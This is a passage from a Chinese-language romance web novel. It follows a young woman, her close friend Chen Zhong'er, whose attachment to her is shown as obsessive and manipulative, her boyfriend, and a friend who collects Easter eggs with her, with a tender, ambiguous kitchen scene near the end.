《要怎么分清三胞胎》
3. 叮
冯今毕不是完全没有接受过sex education。
作为认真学习的小学生,她在五年级时,很专注地听完了那种把班级里所有女生都单独叫到礼堂开设的半小时生理卫生讲解课。
她的奶奶也教过她。
在她来初潮后,奶奶就从卫生巾的使用开始,教她如何爱护和保护自己,也隐晦地讲到了生宝宝的事,比老师讲得要具体。
但陈仲尔给她的是一整套配有专业教材和名师讲解的直播网课。
全外文。
线上。
一对一。
教她的老师是位和蔼热情的当地老太太,始终笑呵呵的,但非常爱提问,随时都会叫着她love让她回答问题。
所有的课全部上完,花了不间断的六个小时。
本来是不用这么赶的。
但她今晚就又要跟弗雷泽去约会了。
这次是晚上,她无法保证绝对不会发生什么,所以就要在今天全部学完。
但果然还是很勉强。
到后来,教学奖章无数的矍铄老太太越讲越亢奋;
而冯今毕——
那些陌生又相似的非日常专业词,最终还是弯弯曲曲地变成了会飞的蚂蚁,在她的眼前转来绕去。
最后的半小时,她眼睛里的光全被蚂蚁吸走了,只能靠陈仲尔在旁边给她递小抄来答对问题。
但好在课程有录播,还可以查漏补缺。
用热毛巾捂了一会儿发干的眼睛,冯今毕抱着电脑和打印出的资料到了客厅。
陈仲尔正背靠着客厅的沙发,坐在地上捏粘土,地上一大片都是他的工具和材料。
冯今毕只好踮着脚绕开它们,盘着腿坐进沙发,把录播课投到前面巨大的屏幕上。
等专心致志地把笔记整理完,她才想起来问陈仲尔:“课里的内容,你好像都熟。”
“我们从小学开始,每年都要上一次这类的课。”
陈仲尔还在低头捏着粘土,人体的轮廓在他的手中很快成型。
但他散漫地打量了看了它一会儿,似乎觉得不满意,又随手地把它丢到了一边。
那里已经堆了一摞的粘土小人。
他又撕开包新的粘土:“跟他要最近期的体检报告。别听他怎么哄你,一定亲眼看到。具体怎么看报告的内容和真假,课里都教你了。”
“好。”
他没有转身看她,但冯今毕还是看着他的侧脸使劲点了头。
他戴着手套的手指沾了一点粘土,刚才不小心蹭到了他的眼角上。
很薄很小的一片。
像一颗灰白的泪痣。
让人很难不在意。
她刚想开口告诉陈仲尔,陈仲尔的手机就响了。
他摘下手套,边接通电话,边起身去了门口。
没多久,他又走了回来,站在冯今毕的后面,把指尖勾着的一袋东西垂到她的眼前。
“什么?”
冯今毕仰着脸抬手把袋子接过来,抱着扒拉了一下。
里面是陈仲尔叫人送来的condom和lube。
各种型号。各种材质。各种味道。
“这些也自己带。先测过敏。”
男生的声音从她背后的高处传进她的耳朵,平平静静的,听不出情绪。
冯今毕又把头后仰了回去,后颈压着沙发靠背的顶缘,想看着他跟他说谢谢。
“陈仲尔。”
她开口。
但眼神不自觉地又落到了他眼角的粘土上,溜到嘴边的话滞了一下。
她后仰时的眼睛睁得格外大和圆,和她之前每一次想要找他陪她练习时的神情很像——
“陈仲尔,你能看完我写的这篇essay,然后把自己当成老师向我提问吗?”
“陈仲尔,你能陪我对练这个剧本吗?我明天要去给视障儿童录多人有声书。”
“陈仲尔,你能弹电钢给我的萨克斯伴奏吗?我周末就要去nursing home正式表演,但给我伴奏的埃塞尔爷爷不肯跟我提前练习,说会没有惊喜。”
……
既然在跟别人正式做事前总是要找他先练习,这次为什么要例外?
“不练习吗?”
陈仲尔垂眸看着她:“把手借给你。”
他说着,倾身从冯今毕打印出的资料里抽出那张condom使用步骤表,拿着笔把它压在沙发靠背,另一只手则伸到了她的跟前,语气平淡:
“我看着,你来做。如果有不对的地方,我会告诉你。”
冯今毕刚完整地听完课,看完了老师对condom非常细致的使用讲解,她的确跃跃欲试,想亲手拆一个学习。
周围的环境极为开放,陈仲尔又对此表现得太坦然,好像他说的事就是理所当然,就是可以这样进行。
于是,从检查是否过期和包装完整开始,冯今毕严肃地就像在做初中的生物实验考试,边操作,边把每一步的操作内容背出来。
和往常跟他练习时一样,她每做一步,都会下意识地去看陈仲尔的反应。
而陈仲尔也和往常一样,边在步骤表上打钩,边夸她做得好。
但可能是陪着她上了一天的课,他看起来有点累了,情绪不高,夸奖她的话说得也没有往常多。
所以,在得到了满分后,冯今毕去厨房给他烤了颗很蓬松的云朵蛋。
等待蛋烤好的空暇,她跟弗雷泽又发消息聊了几句,还顺手切了碗水果。
等她把蛋和水果一起端回客厅时,陈仲尔已经在拆剪不同材质的condom要给她测过敏了。
她就也靠着沙发坐到了地上,坐到他的旁边,伸出胳膊,乖乖让他把碎片贴到她小臂的内侧。
过了一会儿,时间差不多,陈仲尔洗了手回来,看到她已经拿掉了胳膊上的东西,正在原地深呼吸。
“怎么了?”
他坐回地上。
“过敏吗?”
“没过敏。我就是有点紧张。”
就像往常考试前习惯了找陈仲尔给她打气,冯今毕看着他,圆圆的眼睛都有些耷拉:“我怕做不好。”
陈仲尔看了看她,懒懒扯出个笑。
“那怎么办?”
他用叉子插了一块蜜瓜,伸直胳膊送冯今毕嘴边,“这次我可没办法陪你先练习。”
不记得是什么时候开始,陈仲尔吃了一口觉得好吃的东西,下一口就会用叉子往她的嘴边送。
他每次都喂得很泰然,所以后来冯今毕也吃得很泰然。
但这次,冯今毕撇开了头。
她手机定好的闹钟响了。
“我不吃了,到时间了。”
她兴兴头头地爬起来,“我要去跟弗雷泽约会了!”
陈仲尔无所谓地转腕把那块蜜瓜送到了自己嘴里,咽下去后说祝她玩得开心。
约会还是挺开心的——
她和弗雷泽去了自然博物馆,继续看她看了好久都没看完的标本。
她着迷地驻足在巨大蓝鲸的骨架下,紧紧拉着弗雷泽的手,眼睛一眨不眨地看着它被高超技术复原的每一个关节。
——虽然,还没有将蓝鲸的骨骼从头看到尾,她就接到了电话,陈仲尔因为腹痛被送到了私人医院,现在正在输液。
他应该是吐过几回。冯今毕赶到病房套间的卫生间时,陈仲尔正拿着牙刷在刷牙。
应该也洗过澡了,身上都是干净的味道。
“陈仲尔!”
她叫他。
他回头。
明明过分发白的脸上还泛着不正常的红,却还是在看到她后露出笑,漱了口说自己没事,要她不用担心。
虽然后来陈仲尔反复地说,他的生病跟她没关系,而且还很诚恳地跟她道歉,说“对不起啊小今,打断了你的约会”,但冯今毕觉得,这肯定跟她有关。
以前陈仲尔偶尔还会吃几顿外面的饭。但是最近,陈仲尔就只肯吃她做的东西了。
她不做饭,他就只喝瓶装水,连水果都要她洗好切块送到他的手边,他才会吃。
她思来想去,就是那道烤云朵蛋!
以后还是要给陈仲尔做熟透的东西吃!
之后,陈仲尔就再也没犯过这么严重的胃病了。
她也又开始经常地去和弗雷泽约会。
她觉得,陈仲尔应该也习惯了吃不到她刚做好的食物——
他开始学会纡尊降贵地从冰箱里拿出她提前做好的饭菜,自己热着吃;用完的碗筷也会自己放进洗碗机。
又过了一阵子,她第一次在弗雷泽的家里过了夜。
她下午回来的时候,陈仲尔正在一楼的大客厅里对着屏幕玩游戏。
声音外放得震天响。
冯今毕推开家门的那一刻,还以为德国又轰炸过来了。
不过,她刚关上家门,陈仲尔就发现了她回来,调低了游戏的声音。
“欢迎回来。”
他趴在沙发的靠背上,拿着手柄,晃着向她伸手,“一起吗?”
冯今毕摇头。
“我有点累了,想先回屋休息。”
说累了,但她整个人都洋溢着高兴,笑得连藏在唇边的一颗小小的尖虎牙都露出来了。
“小今。”
陈仲尔垂下抓着手柄的手,下巴懒洋洋地抵在沙发靠背的顶沿上,对她笑。
“玩得开心吗?”
“嗯!”
冯今毕猛地点了一下头。
开心!
她很喜欢昨天晚上!
她确定了,她喜欢拥抱,喜欢亲吻,喜欢做各种各样皮肤相贴相蹭的亲密的事!
很喜欢!
“谢谢你之前带我上课,还陪我练习。”
眼睛油亮亮地说完,冯今毕就摇摇摆摆地去给猫准备生骨肉了。
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厨房和客厅不在一层楼,但可能家里太安静了,陈仲尔好像听到了她在厨房里兴致很高地跟尾随她过去催饭的猫“喵呜”、“喵”、“喵!”的对话声。
他抬起有些僵在沙发边的下颚,神色淡漠地转回身,调出他通宵到现在的战绩结算。
哇。
他拿出手机,拍了几张,发给了聊天软件里备注名是【陈伯懿】的联系人:
[图片]
[图片]
[图片]
[图片]
[图片]
[看,输得好惨,哈]
而两年多后的此时此刻。
冯今毕跟向鸥手挽手地你蹭我、我蹭你地从餐厅离开;
家里,陈仲尔坐在浴缸边,把冯今毕上午拿出来的木盆拍了照,图片仍旧发给了聊天软件里备注名是【陈伯懿】的联系人。
木盆的照片刚传过去,对钩就变成了两个。
接着,对面就打来了电话。
“陈伯懿。”
一接通,陈仲尔就开始说话。
“你看到我给你拍的照片了吗?”
他神怿气愉地笑。
“那个木盆,是小今买的。她说我通宵画画手很累,要给我泡手。我们一起泡了。我没忍住,勾了她的手指。她马上就要勾回来,一点都不肯认输。”
他正说着,门被打开了,一只长着蓝黄鸳鸯眼的棕虎斑缅因猫拖着它的大尾巴拱了进来。
“Mufasa……”
陈仲尔向它伸手。
已经三岁大的木法沙听到他叫了自己的名字,很给面子地漫步过去,在他的小腿蹭了蹭脸,接着才开始在卫浴间四处闲逛,像头真的狮子一样巡视着自己的领地。
等巡视完了,它就舒服地跳进了浴缸,再没理睬陈仲尔。
陈仲尔却跟着它躺进了浴缸。
冯今毕出门前,刚抱着木法沙给它梳过毛。
它的身上还沾着一点冯今毕的味道。
陈仲尔把它侧抱到了怀里,边抚摸着它的后背,边对着手机,很愉快地继续说小今。
小今。
小今。
小今。
小今。
小今。
忽然,他对上了木法沙的眼睛。
他的声音低了下去。
仿佛渐渐陷入了梦境,男生眼睛里的光沉滞了,长睫毛盖下的阴影将略有些淡的琥珀瞳色染得发暗,变成了一潭浓郁粘稠的黑蜜,被搅拌了太久,快要僵硬凝固,渴望水却始终得不到,只能将一切靠近它的生物,
拖住。
淹没。
吞噬。
“陈伯懿。”
他看着被冯今毕养得天地不怕、没有半分危机意识的缅因猫,单手托住靠近它喉咙的下巴,让它没办法将脸转开。
“今天,我又在小今的眼睛里看到奇异的光了。有金色,有蓝色,比我和她一起养大的这只猫的鸳鸯眼还要亮。”
他说得很慢。
“医生说,是我潜意识里希望她变成我养的猫,因为那样,我就可以永远把她带在身边,放在房间里。是幻觉。不是真的。”
长睫毛也眨得很慢。
“她最喜欢亮晶晶的东西。我想给她买更多的宝石。买能塞满一整座屋子的,让她戴在头发上,系在脖子前……我已经买了很多,每一颗都想给她,可那又会说不清,会解释不了,会瞒不住……”
“陈仲尔,你的呼吸变急了。”
电话对面终于出了声。
那是和陈仲尔完全一样的声音。
就连语气也和陈仲尔平时的很像。
又松弛。
又游刃有余。
仿佛事情天经地义得都很容易,完全没什么值得在意担心。
“我很快会把学校的事情处理好,给自己放一个长假,去见你。顺便,也正式地去见一见你的那位……小今?”
听到对面的话,陈仲尔托着猫下巴的指尖慢慢放松了下来,任它张开大口将他的手指叼住,咬来咬去。
直到手指多了很多道咬痕、几处深得见了血、肯定小今看到后会心疼地给他涂药包扎,陈仲尔才将木法沙推到了一边。
“陈伯懿。”
他故意地挤着伤口,让血看似不经意地蹭到衣服上。
“小今是我的。不是玩具。”
电话对面笑了一声:
“我们不是已经很久没有再玩过玩具了吗?”
“也是。”
陈仲尔也笑了。
笑得很甜。
“我有小今了。我只要有她,就足够开心了。”
“你放心。”
陈伯懿盯着车窗外那个正戴着顶天空蓝的笋尖毛线帽、因为突然在树根边发现了一朵蘑菇而蹲在原地左左右右拍照、非要弄清那究竟是什么蘑菇的女孩。
“我对别人的东西,一点兴趣都没有。”
4.叮
冯今毕:“确定了,是紫丁香蘑!可以吃的!”
向鸥:“不把它挖走吗?”
冯今毕:“没有毒就不用管了。”
蘑菇是在她们找彩蛋的路上被发现的。
每年春天,这座城市都会在各处放很多颗由不同艺术家绘制的巨型彩蛋,只要找到它们,得到它们身上的编号,就可以在一个专属的寻蛋app上把它们一个一个点亮。
冯今毕已经收集一大半了。
听说向鸥今天约她到这一片的街道吃午饭,她在出门前就迫不及待了。
因为这条街的两边有好多她还没有收集到的彩蛋!
冯今毕在“集齐”这件事上,确实有种强迫症般的贪心。
她小学时就对收集宝可梦卡很上瘾,卡牌好不好看、比赛厉不厉害都不重要,她就是想把全部的宝可梦集齐。
为了有钱买卡,她一放学就跑到奶奶开的面包店里帮忙。
等关了店门,两人大手拉小手地一起回到家,奶奶就会给她结算“工钱”。
她可不是白拿工钱的。
她特别会卷蜂蜜小面包,比奶奶卷得还要好。
面包店的后厨是透明的,外面的客人都能看到。
小镇街道里的阿婆、姨姨们,每当看到她包得严严实实地在里面一脸专注做蜂蜜小面包,都会笑呵呵地排着队站到窗口,大声地朝着里面说:
“今天的蜂蜜小面包是小今做的呀,那我可要再多买一个!”
那就是小冯今毕一天当中最开心的时候。
跟又抽到了一张稀有的宝可梦卡一样开心。
但有一次,爸爸妈妈从外地回家,发现她没做作业就先去了面包店干活,又发现她拿着奶奶给她的钱去买了没用的卡片,他们就冲奶奶好一顿埋怨,说她不会教孩子。
那天的事,冯今毕记了很久。
她是她们班里成绩最好的学生,就算先去了奶奶的面包店,回家后也都会认认真真完成作业。
今日事,今日毕。
她从来没有辜负过奶奶给她取的这个名字。
她很委屈。
可她更为奶奶委屈。
她再也不肯买卡了。
但奶奶却自己打听着去店里给她买了好几包卡。
抱着哭得直打嗝的她,奶奶说,小今想买,就可以买,小今想要,就可以要,只要有度、只要不上瘾,奶奶都给你买!
奶奶的话,冯今毕一直记得。
所以,长大后,冯今毕从来没碰过有集卡机制的游戏。
不管那些游戏有多火、多流行,她都没有下载过。
因为她知道自己在这方面完全没有自制力,根本做不到像奶奶说的那样有度不上瘾。QAQ
她抽了一张就想要第二张,抽了第二张就想要第三张,接着就会想要把它们全部集齐!
一旦开始就会无法收手。
看到有空缺就会难受。
必须从根源遏制!
但是奶奶……
这个只是不花钱的彩蛋……
集都集了……
总不能半途而废……
看着屏幕弹出了庆祝她找到了新彩蛋的well done,冯今毕在心中跟奶奶道了歉,然后高兴地原地踮了一下脚尖。
向鸥也在手机上查明白了这个集彩蛋的活动:“这些编号在网上都能找到。”
冯今毕:“但是不一样。”
她认真想了想,可可爱爱冲向鸥笑:“我觉得,彩蛋还是要自己找到才能作数。”
向鸥很喜欢小今,但她时常没办法跟小今思路一致。
她在做一件事前,总是会先衡量那件事能给自己带来多少好处。
而小今却不是。
就像刚才,她以为小今那么执着地要查那朵紫色的蘑菇,是小今想要把它带回去吃掉或养起来;
可小今只是好奇它究竟是不是紫丁香蘑,只是担心那是毒蘑菇,怕有人误食。
她之前也见过城市中的这些巨型彩蛋,但每次,她都很无视地从它们旁边路过了。
而小今——
小今收集彩蛋要亲自收集,见到了彩蛋后,还要仔细地去看艺术家画那颗彩蛋的灵感来源和背后故事。
摄影师在彩蛋上印了一只他拍下的豹子,小今就想知道它到底是哪种豹子,豹子到底有多少种;设计师在彩蛋上放满了勋章,小今就想知道上面到底有多少枚勋章,每一枚勋章都是从何而来。
那种无穷无尽的、如热带雨林里野蛮生长各处攀爬的藤蔓般的好奇心,总是让向鸥感到惊奇。
而现在,小今在收集完彩蛋后,还要专门跑去电话亭和街角藏她自己做的小颗的彩蛋。
向鸥拿起其中一个被好好包装了的彩蛋看了看。
就是一颗抽空了的鸡蛋,身上涂绘了满满的图案,装着它的袋子里面附着张纸条:
【这是个会给人带来幸运的彩蛋,能发现它的人接下来肯定会有天大的好运气!!!】
用了好多个very,感叹号画得大到夸张。
但也只是一句空话。
就是一句空话。
可是……
“有一次,我很努力地准备了线下评估考试,可同组同学出了错,成绩出来很不好。我心情低落,想坐地铁去买一盒巧克力吃。中途地铁司机罢工,我被丢出来,外面在下雨。
“当时雨不大,我决定一口气跑到对面坐不远处的巴士。可刚跑到马路中间,突然,雨就像一个装满了水的惩罚气球砰地爆在了我的脑袋上!
“我浑身都湿透了,被雨嘭嘭嘭打得头疼,只能就近躲到旁边看起来很脏的电话亭避雨。但就在电话亭里,我看到了别人留下来的彩蛋,彩蛋上就贴着类似的话。
“很神奇地,我的心情一下子就好了。”
冯今毕边牵着向鸥的手、带着她去放另一颗小彩蛋,边绘声绘色地跟她讲。
“而且,更神奇的是,就在我拿到彩蛋、看清了那张字条后,雨很快就停了,一条很大的彩虹就铺在我的跟前。穿过那道彩虹,我上了巴士,司机很热情地跟我打招呼;车上的老奶奶送了我一条她亲手织的、特别漂亮的披肩;第二天,我另一门课的pre还被教授夸了,夸了好久!”
因为曾经得到了这样的馈赠,从那以后,冯今毕每年这个时候,都会拉着陈仲尔一起画彩蛋,画满满一小兜,然后细心地把它们包装好,送出来。
向鸥很沉浸地听着,不知不觉就跟着小今把彩蛋送完了。
两人又散着步谈了一会儿她们合作的社交账号。
拒绝了两个通过账号找来的新的工作,冯今毕去车站前给向鸥买了甜筒,又给自己买了一份平价的炸鸡胗。
鸡胗炸得很脆,分量很足,上面撒满了椒盐和辣椒,这就足够她开开心心、心满意足地回家了。
跟小今告别,看她走远,向鸥站在原地叉着腰立了片刻,还是溜回了最近的一处电话亭。
虽然她依旧坚信,这世上绝不存在会给人带来好运的彩蛋。
而且,以她对小今的了解:
巴士司机会热情地对小今打招呼,是因为小今先礼貌地对他问了好;
老奶奶会把披肩送给小今,多半是小今真诚地先赞美了那条披肩好看;
而pre被教授夸,是因为小今的pre的确做得好。
从头到尾,绝对没有一点是彩蛋的功劳。
但是……
向鸥偷偷把拿到了手里的彩蛋藏进小今刚送给她的冰条线大花朵包。
很春天的绿白配色,是小今亲手做的,里面被小今放满了她上午刚烤出来的、向鸥最爱吃的不甜小饼干。
又被洗脑了。
向鸥咬着甜筒壳望着天,摸了摸包里那个圆滚滚的无用空鸡蛋,再一次在心里想。
——如果小今决定建教的话,她最后肯定会招架不住地入教,然后变成她忠诚的信徒。
而正在向鸥心中举着圣火喵喵喵喵的冯今毕,此时却因为又收到了一封新的邮件而站定在了原地。
她的身边,一辆路过的马戏团宣传卡车挡住了她。
卡车侧面的屏幕上,小丑抱着他那罐只要喝完就会立马重新变满的神奇透明酒壶,正咕嘟咕嘟大口大口地爽快吞喝着。
咕嘟。咕嘟。
咕嘟。咕嘟。
咕嘟。咕嘟。
锅里是小火闷着的乌鸡汤,回到陈仲尔家里的冯今毕站在灶台前,又看了一次那封新邮件。
确认自己没有看错看漏,她把手机放进了围裙前面的口袋。
口袋沉甸甸地往下坠,重量却好像坠在她的肚子里。
她的心里也在打着鼓。
咚咚咚的。
都没听到睡醒后洗完澡的陈仲尔走过来。
“下午好啊小今,在做什么?”
陈仲尔从后面打招呼地虚搂了她一下。
只是靠近。
没有碰到。
但男生比她高了太多,她勉强只能到他的肩头,他从后面靠过来时完能完全将她覆笼,身上带着水汽的苹果味一下就扑得她满身都是。
他日常用的东西全是冯今毕挑的。
像洗发水、沐浴露、身体乳这些,都是一个气味。
冯今毕觉得是那苹果的味道。
虽然在香气描述的前调中调后调里都没有提到苹果,其他人闻了以后也没闻出苹果,但冯今毕就觉得那是苹果,就觉得好闻。
用之前,陈仲尔只问了她你喜欢吗?
她说喜欢。
他就用了。
他对她做的事从来不挑剔。
只要是她做的,他从来都只会说小今做得好。
“谁说的?你发音很好听。”
“这篇论文就是很好,就是值得在比赛里拿第一。”
“不。你马骑得很好。骑得又快又漂亮。”
“运气?光靠运气可打不出老鹰球,你就是很擅长。”
“没错,你单板双板滑得都厉害。”
“当然了,你开的船,就是全海面最稳的。”
……
从小到大,会永远无条件只是夸奖她、肯定她、让她无论做什么都不用担心会从对方那里听到负面评价的人,除了把她养大的奶奶,就只有陈仲尔了。
结果,她却在靠着他的信任才能拥有的工作中,疑似出了重大纰漏。
冯今毕张了张口。
“下午好……”
她拿起一颗纸皮核桃开始捏,想剥核桃仁给陈仲尔吃。
纸皮核桃明明很好捏碎。
但这次,她用手指却怎么都捏不开。
她把核桃放到掌心,合起手掌开始用胳膊的劲儿去压。
她在前面跟核桃较劲,她的身后,陈仲尔用手指撸掉了她绑辫子的皮筋。
叼住皮筋,他两只手熟练地把她的辫子扯松,接着用手做梳地顺了顺,给她重新编。
她做饭前重新编了辫子。但心绪不宁,一根辫子的中间有一个地方编乱了。
现在那里打了结,陈仲尔用手指顺开的时候,虽然很小心,但还是揪到了她的头发。
痛……
换平时,冯今毕肯定会叫。
痛得太厉害,她还会踩他一脚。
但这会儿,她却乖乖由着他梳了。
她的头发并不好打理。
她从很小的时候就发现,她的皮肤简直像奶奶捶出来的糍粑,白糯米做的,软得能扯好长。
发现了以后,在过年的家宴上,别的小朋友表演跳舞唱歌,她就表演扯自己的脸皮,两手一拉,咻地拉出很长,把人吓一跳。
家里的姨姨姐姐们马上围上来问妹妹痛不痛,听她说一点都不痛,她们才好奇地排着把她捏一捏、揉一揉,再抱着她吧唧亲一口。
可她的头发却很硬。
奶奶告诉她,从她出生后,她的发丝就硬得扎手,谁摸她的脑袋,都得“哎唷”被扎一下。
又因为她的脑袋圆圆的,后脑勺极为饱满,奶奶总说她像株小仙人球。
就算后来头发留长了,她的发质也没多大变化。
不是不能改善,是她不想。
她很喜欢听奶奶每次给她梳头时叫她小仙人球。
她不想变。
砂锅里的鸡被焖得极烂了,乌参汤的鲜香味溢出来。
冯今毕把核桃上薄薄的内皮仔细挑干净,捏着它,手向后伸,让陈仲尔吃。
陈仲尔的手很巧,给她编头发时,总是编得又快又好看。
看她递核桃过来,他边收尾地给她套着皮筋,边低头过去,想就着她的手吃核桃。
但嘴唇刚贴到那块核桃仁,陈仲尔顿了顿,跟她说:“我不会再用Sean了。他如果找你,你不要理他。”
肖恩就是她早上送走的爱尔兰男孩。
虽然知道陈仲尔的这幅新画不会画很久,可她记得,原本说定的,是让肖恩腾出随叫随到的两个月时间。
这才半个月呢。
冯今毕心中闪过一丝奇怪。
但这念头马上就被她心里的事情盖了过去。
她慢了半拍,低低地“嗯”了一声,回应陈仲尔。
陈仲尔弯下腰,侧头去看她的眼睛。
见冯今毕避开、转身去看乌参汤,陈仲尔也没说什么,随意地靠在她身边的岛台上,静静看着她走来走去,起锅加盐,拿碗盛汤。
只在一次她背对着从他跟前路过时,他伸出长胳膊,曲起的指背在她后颈中央那颗很小的红痣上刮了刮。
很轻。
但是冯今毕察觉了。
她立马转过身,直直地看着他。
想要什么,一目了然。
公平。
陈仲尔:“你后颈有一颗红色的小痣。我刮的是那颗痣。我又没有。”
没有,就做一颗好了。
这又难不倒冯今毕。
之前,向鸥从老家带了一袋已经很难买到的白谷米给她,冯今毕就投桃报李地学着给向鸥做了白粿。
为了给白粿点红,她特意去买了红曲粉。
还剩了很多。
她拉开高处的储藏柜,手指伸向装着红曲粉的小罐子,抓住它的盖子就往下取。
可没想到,盖子松了。
她把盖子抓到手里的瞬间,罐身就直冲着她掉了下来!
她低头躲,那罐子就正好好地掉到了她的头顶!
没声音。
罐子是她自己学着用厚锡纸画了浮雕后做的,空心,很轻,掉到她的头上,几乎没什么感觉,但里面的红曲粉却结结实实扣了她一脑袋。
细粉四扬,冯今毕忍了忍,没忍住,打了个喷嚏!
脑袋一震,罐子滑落,红曲粉撒得更欢了,掉得她睫毛、鼻尖、耳朵到处都是。
她下意识闭紧了眼睛。
这时,陈仲尔却忽然弯腰靠近到了她的眼前,在她顶着一小撮红曲粉的鼻尖嗅了嗅,声音很轻:“尝起来是什么味道?”
太近了。
冯今毕猛地睁开眼。
她觉得自己的睫毛几乎跟陈仲尔的扫到了一起,上面沾着的红曲粉末也抖落到了他的睫毛尖,在那里开出一朵朵极小的、红色的花。
无声无息却又轰然作响,她浑身都在发烫。对陈仲尔心理和生理的喜欢在这一刻全爆发了出来,只要再近一点点,她就可以亲到他。
但她没有动,也没有躲。
陈仲尔却蹲下了。
仿佛真的只是好奇红曲粉的味道,他捡起掉到地上的罐子,看了看里面,又把它翻倒朝地,拍了拍它。
但里面的红曲粉已经撒光了。
他什么也没有倒出来。
于是,他伸出他骨节分明的修长手指,轻轻勾住冯今毕微蜷着的指尖,几乎没使任何力气地,将她的手拉到了自己的唇前,垂着眼睫,吮住了她沾了红曲粉的手腕内侧。
他的嘴唇很凉。
颜色之前总是偏淡。
但此刻却冯今毕的眼前,在对她的吮尝中渐渐被染得绮艳。
冯今毕的手软得没有一点力气,声音也轻飘飘:“陈仲尔……”
听到她叫了自己的名字,陈仲尔慢慢松开了花瓣般浮红的唇,仰起脸。
嘴唇是湿的。
乌黑的睫羽也被不知名的水汽沾湿了,羽尖又混着红曲粉那点带着重量的红,垂得更加厉害。
“小今。”
漂亮到总能让她昏头的男生,笑着吐出一小截刚刚还贴在她的手腕上的、鲜红的舌尖:“好苦。”
冯今毕猛地蹲下了!
她默念着要公平、要公平,双手用力抓住陈仲尔的胳膊,把他的手腕也拖到了自己面前。
她也要学着他,也要……
也要……
嘴唇开开合合了好久,冯今毕却始终没敢下口。
陈仲尔这么做,是生病,是十指不沾阳春水的贵重的五陵年少想尝一尝红曲粉的味道,总归说起来理由充足,理直气壮。
可她只有“公平”这一个能说出来的理由。
她必须要学着跟他一样。
他是尝味道,她就只能也是尝味道,不能是亲吻。
但是,她做不到。
从她答应和弗雷泽恋爱开始,到陈仲尔的分离焦虑确诊之前,她都下定决心,只要陈仲尔一直对她好,她就不要更多了。
她可以忍住对他的喜欢,就跟他保持住正面一臂的距离,只做他想要的好朋友。
可是陈仲尔对她产生了分离焦虑。
那可是分离焦虑。
真的会有人会对好朋友分离焦虑到睡不着觉吗?
她又开始时有时无地萌生出了不该有的希望。
她觉得,也许,可能,说不准,她有机会可以跟陈仲尔再进一步。
可陈仲尔还是说她是好朋友。
哦。不对。
她跟陈仲尔的确再进了一步。
现在,她升级了。
不再是“好朋友”。
她是“最、好、的、朋、友”。
带着一点的报复,冯今毕亮出她尖尖的虎牙,对准他手腕紫色血管外覆着的那层薄而雪白的肌肤,咬了下去。
想着要克制,但因为那是陈仲尔,她在真正碰触到的时候完全无法控制好力道。
松开牙齿后她就发现,她留下的齿痕很重,都浮出了淤血的深色。
冯今毕没想到咬痕落到他的身上会看起来这么严重。
她六神无主,看向陈仲尔。
陈仲尔
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却浑不在意地笑,还抬手抽了张湿巾,给她擦眼睛下面沾到了过多红曲粉的皮肤:“别动,这里被你的睫毛扫来扫去,都花了。”
她扬起脸,方便他擦,然后就听话地不再动,只看着陈仲尔。
她蹲下时,头顶的好多红曲粉都腾了起来,红雾似的。
现在,它们中的一些落回到了她的头顶,一些却飘落到了陈仲尔的头发上。
就像蘑菇向外散下了孢子,等过一段时间,她和他的头顶就会砰、砰、砰、砰地长出好多朵小蘑菇。
“陈仲尔。”
冯今毕望着他的头发,开口。
“我今天在城市里,看到了一朵紫色的蘑菇。”
陈仲尔边仔细地为她擦着脸,边很习以为常地接话:“你把它采下来了吗?”
“没有。”
“那就是无毒的蘑菇了。”
“对。是紫丁香蘑。”
“我们一起在图鉴里看过的,容易跟紫绒丝膜菌弄混的那朵?”
“就是它。钟荷教过我,用辣椒和花椒干煸好吃。”
“趁我放假,我们下周去森林采蘑菇?”
“好。你定好了时间跟我说。我和学姐约了下周还要再见,如果跟你想去森林的时间冲突了,我就去跟学姐说改天。”
“小今。”
陈仲尔的手停了下来。
“嗯?”
冯今毕低了低扬起的头,想去看他的眼睛。
但陈仲尔却忽然头一垂,将额头压在了她的肩上。
沉沉的,仿佛无所保留地将全身的重量都交付了出去。
就像他们第一次见面时那样。
冯今毕不自觉地伸出了手,想抱他,却发现,他的后背其实离她并不近。
就算此刻,他们像两只小动物一样膝盖碰膝盖蹲在一起,她还是没办法轻易地把他抱住。
冯今毕垂下了手。
她悄悄地将头转向陈仲尔,无声地嗷呜一口,咬在了他软茸茸的头发上,就像要吞掉棉花糖。
但随即,舌尖碰到了他发丝上的红曲粉,苦得她整张脸都皱了起来。
陈仲尔没有说错。
真的好苦。
陈仲尔在她的肩头闷闷地笑了。
他笑得肩膀都在颤。
“跟你说过了,苦。”
他笑着站起来,又伸手把她也拉了起来,然后又凑近到她的眼前,看她的眼睛:“现在还在不开心吗?”
冯今毕的眼睛慢慢睁圆了。
原来,他是发现了她回家后的情绪低落,所以刚才才一直想要分散她的注意,想要逗她开心。
呜。
冯今毕的指尖捏住陈仲尔袖子,扯了扯。
“你站过来一点。”
他穿的是一件深绿色的羊绒毛衣,衬得他本来就冷白的脸更加像瓷。
但那毛衣的质地却很柔软,她只是轻轻地扯了一下,毛衣的袖子就被拉长了。
可她还是不肯放手,继续扯着,手指倔强地都快要在毛衣的袖子上掏出一个洞:“再过来一点。”
直到陈仲尔离她终于不再隔着一臂的距离,她踮起脚,学着他,将额头压在了他的肩上。
她感觉到了他想躲。
但她不准。
这是公平。
是在帮他治病。
是合情合理。
她的额头在他笔直的肩上蹭了蹭,低声说:“谢谢你。好朋友。”
她以为她很快就能听到陈仲尔满不在意地回道“不客气””。
但陈仲尔没有出声。
好久都没有出声。
也没有动。
直到她想抬头,他才从口袋里拿出一条串了枚镶满钻石的塞维涅蝴蝶结的珍珠手链,套到了冯今毕的手腕上。
钻石蝴蝶结的中央,有一颗硕大浓郁的祖母绿。
是冯今毕很喜欢的东西。
但冯今毕却没有看到它。
她只看到了陈仲尔的手:“你的左手怎么了?”
刚才,不管是刮她的后颈、任她抓着留下咬痕还是给她擦脸,他伸出来的一直都是右手。
她居然就没发现,他的左手上有好多细小的伤口,还有两处伤得很深,都生了血痂!
“什么?”
陈仲尔对上她的眼睛,神色愣怔,似乎不知道她在问什么。
随后,他低头躲闪,将左手往背后藏。
“别动。我都看到了。”
冯今毕小心地去抓他左手的手腕,仔细看他手上的伤。
“怎么回事?”
她望着他的眼睛,乌黑黑的瞳仁担心得都在抖,“你出去,逗别的猫了吗?”
野猫。
咬伤。
出血。
狂犬病。
打疫苗——
陈仲尔:“我没出门。”
没出门。
那就是……
“木法沙?”
她结舌了一下。
“可是……可是……”
可是木法沙很乖。
虽然因为太重了,扑到她胸口时,经常会压得她感觉肋骨断裂喘不上气,但它从来不会故意伤害人。
